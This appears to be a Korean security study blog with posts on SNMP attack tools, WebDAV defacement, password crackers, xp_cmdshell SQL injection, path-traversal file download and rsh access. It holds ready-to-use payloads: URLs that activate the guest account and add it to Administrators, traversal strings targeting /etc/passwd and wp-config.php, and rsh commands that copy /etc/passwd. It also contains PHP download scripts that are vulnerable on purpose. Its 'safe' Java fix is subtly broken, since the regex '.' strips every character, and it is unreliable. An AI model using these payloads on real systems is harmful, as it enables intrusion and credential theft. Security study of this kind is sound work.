2017. 4. 20.

[네트워크] SNMP 취약점 관련


# SNMP 취약점
SNMP는 네트워크의 라우터의 설정을 바꿀수도 있고, 시스템에  계정을 만들 수도 있다.


# SNMP 공격
SNMP 취약점으로 인한 공격으로는 서비스거부공격(DoS, DDos), 버퍼 오버플로우, 비인가 접속 등이 알려져 있다. 이러한 공격의 대부분은 SNMP를 이용한 데이터 전송이 암호화 되어 있지 않고, rw권한(read, write) 설정, 특히 패스워드와 비슷한 가치를 지니는 community string을 디폴트 값인 public 상태로 방치한다는 것에서 비롯된다. 

# 공격 도구

1) NMAP
공격자 시스템에서 SNMP 가 enable 되어 있는 장치를 찾는 찾기 위함

nmap -sU -p 161 192.168.174.254/24

포트스캔 결과, "Unknown"의 MAC Address를 가지는 임의의 장치가 SNMP를 사용하고 있는 것을 알 수 있다.


2) ADMsnmp
네트워크 장비나 SNMP 를 운영중인 모든 장비의 community string을 무차별 대입공격으로 찾아내는 명령 툴

./ADMsnmp 192.168.x.x -wordfile snmp.passwd

3) snmpwalk
net-snmp도구 중 하나

./snmpwalk -v 1 -c private 192.168.x.x | head -n 20

//  snmpwalk 뒤에 붙은 -v 옵션은 SNMP 의 버전을 나타낸다. -c 옵션은 community string 값을 지정해 줄 때 사용한다.
명령어를 실행하면 대부분의 라우터 구성정보를 얻을 수 있다는 것을 알수 있다

궁금증 : snmp v1 말고 snmp v2,3 에서는 해당 공격이 적용되는 것인가?

본 내용은 [ SNMP의 취약점을 이용한 공격기법과 대응방안.pdf ] 에서 발췌하였습니다.

Continue reading

2017. 4. 7.

지식정리 체크리스트 - 20170405

1. put. delete 와 같은 http 메소드가 열려있다는 이유만으로 파일을 입력, 삭제 할 수 있는지?

물론 그렇지 않다.
WebDAV 서비스와 함께 원격지 웹 서버에 파일을 생성하거나 삭제하는 FTP 와 유사한 기능을 구현할 수 있다.
기본적으로 웹 게시 폴더(기본설정 - \inetpub\wwwroot)는 인터넷 사용자가 접근하는 폴더이기 때문에 인터넷 게스트 계정(IUSR_XXX)을 가지는 웹 사용자는 쓰기 권한을 가진다.

하지만, 웹 사용자가 웹을 통해 직접 내용을 쓰기 위해서는 HTTP의 확장된 기능인 WebDAV 기능이 지원되어야 한다. 즉, WebDAV 서비스를 제공하는 파일인 httpext.dll에 인터넷 게스트 권한을 포함하는 Everyone 이 모든 권한을 가지도록 할당하는 경우 인증 없이 콘텐츠를 생성, 삭제할 수 있다.

홈페이지 변조가 가능한 최적의 조건
1) 웹 컨텐츠 디렉터리에 쓰기 권한이 할당된 경우
2) 웹 컨텐츠 디렉터리의 Everyone에 모든 권한이 할당된 경우
3) httpext.dll 파일에 Everyone 권한이 할당된 경우

이와 같은 조건이라면 PUT 혹은 Delete 메소드를 이용하여 컨텐츠를 생성하거나 삭제 할 수 있다.

공격자는 우선 WebDAV 운영 여부를 확인하기 위해 'PROPFIND /' 를 전송하고, 응답 코드 207번이 수신되면 WebDAV 서비스 사용을 의미한다. 그 후, 파일 삽입(PUT /echo.htm) 을 요청 할 수 있다.

2. 유닉스 명령창에서 실행했던 명령에 대한 기록은 history 명령으로 확인할 수 있다. 
-> 모의해킹 할 때 써먹으면 유용 할 것 같다.

3. 아파치 웹 서버가 root 권한으로 실행되는 경우 혹은 웹 취약점에 의해 공격자가 root의 권한을 획득하는 경우이다. 
-> 만약 httpd.conf 파일에 user nobody, group nobody 로 설정하고 nobody 계정의 설정을 nologin 설정을 해놓은다면, 웹 쉘과 같은 취약점이 발생하여도, 쉘 권한을 득하여도 /etc/shadow 파일을 획득할 수는 없을 것이다. (피해를 최소화 할 것이다.)

4. meta http-equiv= pragma content= no-cache 의미
-> 웹 개발을 할 때 캐쉬된 페이지 때문에 웹 브라우저가 재시동되거나, 웹서버를 재시동하는 경우 캐쉬에서 불러오는게 아니라 항상 최신의 페이지를 보여주도록 하는 방법

5. /etc/passwd 의 두번째 파일
* 이라고 되어 있는 부분은 그 계정은 막아둔 상태라는 것을 나타난다.
X 라고 되어 있는 부분은 암호가 암호되어 shadow 파일에 저장되었다는 것을 나타낸다.





Continue reading

2017. 4. 6.

[시스템] 비밀번호 크래킹 도구

1. Cain & Abel
윈도우용 탑 패스워드 크래킹 도구
- http://www.oxid.it

2. 존 더 리퍼
- www.openwall.com (John the Ripper 1.8.0-jumbo-1 (Windows binaries, ZIP, 34 MB) and its signature)
- 해쉬 암호화 관련 문서 (https://s3.amazonaws.com/files.douglas.stebila.ca/files/teaching/cryptoworks21/Networks-Practical-Passwords.pdf)
- 사용 예, http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

- john *.pwd // 여러개의 패스워드 파일 점검


3. Aircrack
WEB / WPA 크랙 도구
- www.aircrack-ng.org

4. THC 히드라
네트워크 인증 크래커
- https://www.thc.org/thc-hydra/

5. rainbowcrack
암호 해시 크래커의 새로운 혁신
- http://project-rainbowcrack.com/

6. OphCrack
Windows 암호 크래킹을 위한 도구
LM 및 NTML 해시 등을 적용 가능
- http://ophcrack.sourceforge.net/

7. Brutus
- 윈도우용 (2000년 이후에 업데이트 되지 않음)
- HTTP, FTP, IMAP, NNTP, SMB
- http://www.hoobie.net/brutus/

8. L0phtrack
- 윈도우 암호 복구를 위한 도구
- 윈도우 XP, NT, 2000, 2003, 2008 가능
- www.l0phtcrack.com/

9. Pwdump
- Windows 용 비밀번호 복구 도구
- 백신 프로그램이 구동 중일때 정확히 작동하지 않을 수 있음
- Fgdump 라는 새로운 버전이 생김
- 2000, xp 가능

10. 메두사
- AFP, HTTP, CVS, IMAP, FTP, SSH, SQL, POP3, 텔넷 및 VNC
- http://www.darknet.org.uk/


** DES - Traditional DES 
$ cat hashes.txt
username:SDbsugeBiC58A
$ john hashes.txt
$ john --format=des hashes.txt

참고

  • http://kr.wondershare.com/password/password-cracker-tools.html
  • 존 더 리퍼의 다양한 해쉬알고리즘 적용 사례 - http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

Continue reading

[시스템] FTP 명령여 정리

open(주소 또는 도메인) → ftp 서버에 연결
close : 해당ftp 접속종료
bye : ftp 프로그램 종료
ls : list, 목록보기
cd(디렉토리명) → 디렉토리 바꾸기
ascii : 텍스트 파일 전송모드 (자료를 내려받거나 올리기 이전에 작동시켜야 한다)
bin : 이진파일 전송 모드 (자료를 내려받거나 올리기 이전에 작동시켜야 한다)
get 파일명 : 하나의 파일 내려받기
mget 파일명 : 여러 개의 파일 내려받기, wildcard 문자 사용가능
put 파일명 : 하나의 파일 올리기
mput 파일명 : 여러 개의 파일 올리기, wildcard 문자 사용가능
pwd : 현재 경로보기
hash : 파일전송과정 보여주기(버터단위 ‘#” 표시 되며 자료올리거나 받기전에 명
령어를 줘야 한다)
? : 도움말
rstatus : remote 시스템의 상황 표시
status : 현재 연결된 ftp 세션 가지 모드에 대한 설정을 보여준다
dir : remote 시스템의 디렉토리 내용을 디스플레이

Continue reading

2017. 4. 5.

[웹 취약점] XP_cmdshell 취약점 관련

# 취약점 적용 대상
- 데이터베이스 운영자가 MSSQL 서버를 sa 계정으로 운영하는 경우,
- MSSQL Server 2000, 2003, 2005

1. http://victim.com/research?name=';EXEC xp_cmdshell 'net user guest /active:yes'--
--> guest 계정 활성화

2. http://victim.com/research?name=';EXEC xp_cmdshell 'net user guest test'--
--> guest 계정 password를 test로 변경

3. http://victim.com/research?name=';EXEC xp_cmdshell 'net localgroup Administrator guest /add'--
// 관리자 그룹에 guest 추가

4. 원격 터미널을 통해 guest/1234 로그인

Continue reading

[웹 취약점] 파일 다운로드 취약점

1. 개요

홈페이지 상에서 파일을 다운받는 cgi, jsp, php, php3 등의 프로그램에서 입력되는 경로를 체크하지 않는 경우 임의의 문자(../.. 등) 나 주요 파일명의 입력을 통해 웹 서버의 홈 디렉터리를 벗어나서 임의의 위치에 있는 파일을 열람하거나 다운받는 것이 가능할 수 있음


2. 점검방법

Step 1) 게시판 또는 공지사항, 자료실 등에서 cgi, jsp, php 등의 프로그램을 이용하여 파일을 다운로드 받는 페이지가 있는지 조사

Step 2) 다음과 같이 파일 다운로드를 시도한다.
../../../../etc/passwd
../../../../winnt/win.ini
../../../../boot.ini
../../../wp-config.php 로 파일을 다운 받을 수 있다.  // 워드 프레스 인 경우,

또는 php의 경우, 아래와 같이 현재 파일도 다운로드 할 수 있다.
xxx/direct_download.php?file=./direct_download.php

Step 3) 아래와 같이 인코딩을 적용하여 해당 파일 내용이 표시되는지 확인한다.

URL 인코딩 .(%2e), /(%2f), \(%5c)
16bit 유니코드인코딩 .(%u002e), /(%u2215), \(%u2216)
더블URL 인코딩 .(%252e), /(%252f), \(%255c)

Step 4) ..//, ....\\, ....\/, ..../\, ..../, ..//, .././, .//, ./\, .\/, .\\ 등을 적용하여 (../../ 와 같이) 패턴을 반복하지 않음으로써 방화벽 우회를 시도한다.


  • Filename=./.././../../etc/./././passwd
  • Filename=/../../../../../..//was/tomcat (실제로 마지막 경로에 //가 아닌 / 의 경우는 다운되지 않는 경우도 있다.)
  • savePath=/../../../../../etc/&fileName=passwd


Step 5) null 바이트 인젝션 시도
정상적인 파일에 널바이트 또는 개행문자를 삽입하여 어떤 필터링이 사용되는지 파악 할 수 있다. 이 방법은 php 환경이나 java, c/c++ 환경에서 적용된다. 또한 리눅스에서는 NULL이 문자열의 끝을 의미하지만 윈도우는 그렇지 않다. 따라서 윈도우 서버에서는 통하지 않는다.)
- normal.jpg.jpg 을 테스트 시도
- index/../normal.jpg 와 같이 경로 파악 시도
- ../../../../etc/passwd NULL.jpg 등을 통해 시스템 파일 다운로드 시도
- ../../../usr/...log/ 을 통해 로그파일 다운로드

[파일명].jsp, [파일명],%0a,jsp

** %0a 는 lindfeed 즉 개행이다.

예를 들어 content=../../../../boot.ini 에서 에러가 생긴다면, ../../../../boot.ini.txt 로 해볼수도 있다. 출력되는 파일이 txt로 정해놨기 때문이다. 그러나 컴퓨는 널바이트값()이 나오는 부분을 끝으로 인식하여 이 부분이 파일의 마지막이라고 속이는 것이다.

유닉스의 경우, 개행문자(%0a)를 삽입 할 수도 있다.
../../../../etc/passwd%0a.jpg

Step 6) 특정 디렉터리나 파일을 먼저 입력한 후 탐색 문자열을 입력할 수도 있다.
/was/tomcat/image/../../../../etc/passwd

-------------------------


- 파일다운로드 취약점이 존재하는 페이지 - <?php
$file=$_GET['file'];
$local_path ='/var/www/uploads/';
$downFile = $local_path.$file;
if (file_exists($downFile)) {
        header('Content-Description : File Transfer');
        header('Content-Type : application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($downFile).'"
');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: '.filesize($downFile));
        readfile($downFile);
        exit;
}else {
die ('Error: the file '.$file.' does not exists!');
}
?>

- down.php?file=../../../etc/passwd 라고 입력하면 공격이 수행된다.

- file과 path로 나눠서 수행하는 파일 다운로드 취약점
<?php
$file=$_GET['file'];
$path=$_GET['path'];
$local_path='/var/www/html/data/' . $path.'/';
$downFile = $local_path.$file;

if (file_exists($downFile)) {
        header('Content-Description : File Transfer');
        header('Content-Type : application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($downFile).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: '.filesize($downFile));
        readfile($downFile);
        exit;
}else {
die ('Error: the file '.$file.' does not exists!');
}
?> 


파일 식별번호를 이용한 파일 다운로드
<?php
$_fileID = $_GET['fileld'];

$link = mysql_connect('localhost', 'root','root');
mysql_select_db('test',$link);
$sql = 'SELECT * FROM upload WHERE fid=' .$_fileID;
$result = mysql_query($sql,$link);
list($fid, $file,$path,$content) = mysql_fetch_array($result);

$local_path='/var/www/html/data/' . $path.'/';
$downFile = $local_path.$file;

if (file_exists($downFile)) {
        header('Content-Description : File Transfer');
        header('Content-Type : application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($downFile).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: '.filesize($downFile));
        readfile($downFile);
        exit;
}else {
die ('Error: the file '.$file.' does not exists!');
}
?>


수정이 완료되면 mysql db에 파일의 정보를 입력한다.
#mysql -u root -p
mysql> use test
mysql> create table upload ( fid int(11) AUTO_INCREMENT PRIMARY KEY, filename varchar(128) NOT NULL, path varchar(256), content MEDIUMBLOB );
mysql> insert into upload (filename, path) value ('c99.php','notice');
mysql> select * from upload;
mysql> exit;

웹 브라우저에서 다음과 같이 접속하면 파일을 다운로드 할 수 있다

download.php?fileid=1
------------------------------

4. 대응 방안

파일 다운로드 시, 파일명을 직접 소스 상에서 사용하거나 입력받지 않도록 하며 게시판 이름과 게시물 번호를 이용해서 서버 측에서 데이터베이스 재검색을 통하여 해당 파일을 다운로드 할 수 있도록 하여야 하고, 다운로드 위치는 특정 데이터 저장소를 지정하고, 웹 루트 디렉터리 상위로 이동되지 않도록 설정한다.


<php의 경우>
download.php 파일 코딩 상단에 아래 코드를 삽입함으로써 \, / 문자열을 필터링 할 수 있다

if ( eregi("\.\.|/", $filename ) // 입력받은 파일명에서 \.\.|/" 와 같은 문자열이 발견되면 true를 반환받아, "상대경로로 접근 할 수 없습니다." 라는 문자열을 출력함
{
echo "상대경로로 접근 할 수 없습니다.";
exit;
}


<java 의 경우>

[안전하지 않은 소스]
String pathName ="";
if(request.getParameter("filepath") != null)
{
pathName = request.getParameter("filepath");
log.debug(pathName);
}
else { 
pathName = "default File Path";
}
File file = new File(pathName) ; // pathName 파일을 불러온다 

[안전한 소스]

String pathName ="";
if(request.getParameter("filepath") != null)
{
pathName = request.getParameter("filepath");
log.debug(pathName);
}
else { 
pathName = "default File Path";
}
pathName = pathName.replaceAll("/", "");
pathName = pathName.replaceAll("\\","");
pathName = pathName.replaceAll(".", "");
pathName = pathName.replaceAll("&", "");
File file = new File(pathName) ; // pathName 파일을 불러온다.


< 참고 >
eregi() 함수 정의

int eregi(string pattern, string string, array[regs]);
검색 대상 문자열(string)에서 정규 표현식으로 나타낸 패턴과 일치하는 문자열이 발견될 경우에 true, 발견되지 않을 경우에는 false를 반환한다. 이때 대소문자를 구분하지 않는다. 반면 ereg() 는 대소문자 구분한다.

eregi_replace() 함수 정의

int eregi_replace(string pattern, string replacement, string string);
검색 대상 문자열(string)에서 정규 표현식으로 나타낸 패턴(patten)과 일치하는 문자열을 찾아서 지정한 문자열(replacement)로 바꾼다.

Continue reading

[시스템] 'r' command 보안 취약점

1. 'r' Command 개요
r'command 를 통한 원격접속은 *NET Backup 이나 다른 용도로 사용되기도 하지만, 인증 없이 원격접속을 가능하게 한다는 점에서 보안상 매우 취약하다.

2. 'r' Command 서비스 활성화 여부 확인

OS 마다 확인 방법이 약간 상이하다. 본 포스트에서는 HP-UX와 AIX 위주로 기술한다. 상세한 내용은 "주요정보통신기반시설_기술적_취약점_분석_평가_방법_상세가이드"의 U-28, U-38 항목을 참고하면 된다.

방법 1) /etc/inetd.conf 파일에서 r 계열 서비스 활성화 여부를 확인한다. 해당 서비스 라인이 # 처리 되어 있으면 비활성화된 것이다.
방법 2) netstat -an 명령어 사용
- netstat -an | grep "*.513 // rlogin
- netstat -an | grep "*.514 // rsh
- netstat -an | grep "*.512 // rexec

만약 서비스는 구동중이나, /etc/hosts.equiv 또는 각 홈 디렉터리 밑에 있는 .rhosts 파일에 아무런 설정이 없다면 불필요한 서비스 구동이라고 판단 할 수 있다.

3. 해당 서비스를 통한 원격 접속 방법

1) rlogin 사용 예
rlogin [option] host
ex) rlogin 203.xxx.xxx.xxx
rlogin -l tmax 203.xxx.xxx.xxx // 203.xxx.xxx.xxx 라는 계정에 접속을 시도할 때 tmax 라는 계정으로 접속을 시도한다.

2) rsh 사용 예
rsh 203.247.xxx.xxx sh -i // 프롬프트가 바뀌면서 실제 해당 호스트에 접속한 상태와 같게 된다.
rsh 203.247.xxx.xxx ls -l / // 접속하지 않아도 원격지 서버의 /디렉토리의 내용 확인이 가능하다.
rsh 203.247.xxx.xxx cat /etc/passwd > passwd.txt // 원격지 서버의 /etc/passwd 의 내용을 내 디렉토리의 passwd.txt 파일로 저장이 가능하다

** 참고로 rsh 서비스를 통한 행위는 1) who 명령이나 w명령으로 확인이 불가능하고 2) last 같은 로그기록으로도 확인이 불가능하다. 오직 3) 접속의 확인은 netstat 명령으로만 가능하다

** 참고 ** 
현재의 리눅스는 root 계정자로 rlogin인이 불가능하다. 또한, 일반 계정으로 .rhosts 를 만들고 파일의 내용을 + + 라고 작성하여도 패스워드를 입력하도록 되어 있다. 이 부분은 점검이 필요하다.

3. 대응 방안

원칙적으로 해당 서비스를 중단하거나, 사용이 불가피한 경우에는 다음과 같은 조치를 수행한다.

- /etc/hosts.equiv 파일 및 .rhosts 파일 사용자를 root 또는 해당 계정으로 설정하고 권한을 600으로 설정
- 또한 해당 파일 설정에 '+' 설정(모든 호스트 허용)이 포함되지 않도록 함



** /etc/hosts.equiv 과 $HOME/.rhosts 의 차이 **
/etc/hosts.equiv 은 서버 설정파일이고, $HOME/.rhosts는 개별 사용자의 설정 파일이다. 즉 /etc/hosts.equiv 파일은 TRUSTED 시스템들을 등록하고 'r' command를 이용하여 인증없이 접근하는 것을 가능하게 하는 설정 파일이며, .rhosts 파일은 /etc/hosts.equiv 파일과 거의 동일한 기능을 수행하지만 .rhosts 파일은 사용자 별로 'r'command 를 통해 접속 가능하도록 설정할 수 있다.


# 취약점 점검 시나리오
1) rlogin, rsh, rexec 서비스 실행여부를 확인하고 실행되고 있다면, 접속 시도를 해본다.
2) .rhosts 는 root, tmax 등 과 같이 여러 홈디렉토리에 설치 될 수 있다. 그러므로 -l 옵션으로 계정을 미리 지정할 수 있다. 로그인 계정을 지정하지 않으면 root 계정으로 접근한다.
(현재 -l 로 계정을 지정할 수 있는 옵션이 지원되지 않는다고 한다.)


참고 사이트
  • http://se.uzoogom.com/125


Continue reading

[암호] 해쉬함수별 출력값(해쉬값) 길이

해쉬함수별 출력값(해쉬값) 길이 비교

1. md5의 출력값 길이는 128비트
md5 hash값(저장 : 16진수로 32바이트)
ex) 8380482228e75045a7d14e063bde014b

2. sha-1의 출력값 길이는 160비트
sha-1 hash값(저장 : 16진수로 40바이트)
ex) 764C46AE8BC50C4823E50F18DA45B9A21E8DD10B

3. sha-256의 출력값 길이는 256비트
sha-256 hash값(저장 : 16진수로 64바이트)
ex) be178c0543eb17f5f3043021c9e5fcf30285e557a4fc309cce97ff9ca6182912

출처
  • http://egloos.zum.com/doodoodoo/v/1770980

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.